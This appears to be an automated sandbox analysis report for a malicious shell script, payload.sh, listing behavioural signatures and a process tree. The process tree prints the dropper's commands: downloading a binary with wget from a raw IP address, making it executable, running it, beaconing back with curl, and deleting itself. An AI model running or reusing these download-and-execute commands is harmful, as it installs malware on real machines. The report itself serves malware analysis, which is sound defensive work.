Analysis
- max time kernel
72s - max time network
74s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
02/07/2026, 00:30
General
- Target payload.sh
- Size 4KB
- Sample260702-atv14agy6k
- SHA256 3a93967ea364b1efaf1c20d04071ae5a2fcb66fc453259851d2f85544506e246
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Reads system routing table 1 TTPs 1 IoCs
Gets active network interfaces from /proc virtual filesystem.
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/payload.sh/tmp/payload.sh1⤵
-
/bin/unameuname -m2⤵
-
-
/usr/bin/wgetwget -q http://85.204.125.67:8080/x-8.6-.SativaC2 -O x-8.6-.SativaC22⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x x-8.6-.SativaC22⤵
- File and Directory Permissions Modification
-
-
/tmp/x-8.6-.SativaC2./x-8.6-.SativaC22⤵
- Reads system routing table
- Reads system network configuration
-
-
/usr/bin/curlcurl -s "http://85.204.125.67:8080/success?arch=x86_64"2⤵
-
-
/bin/rmrm -f /tmp/payload.sh2⤵
-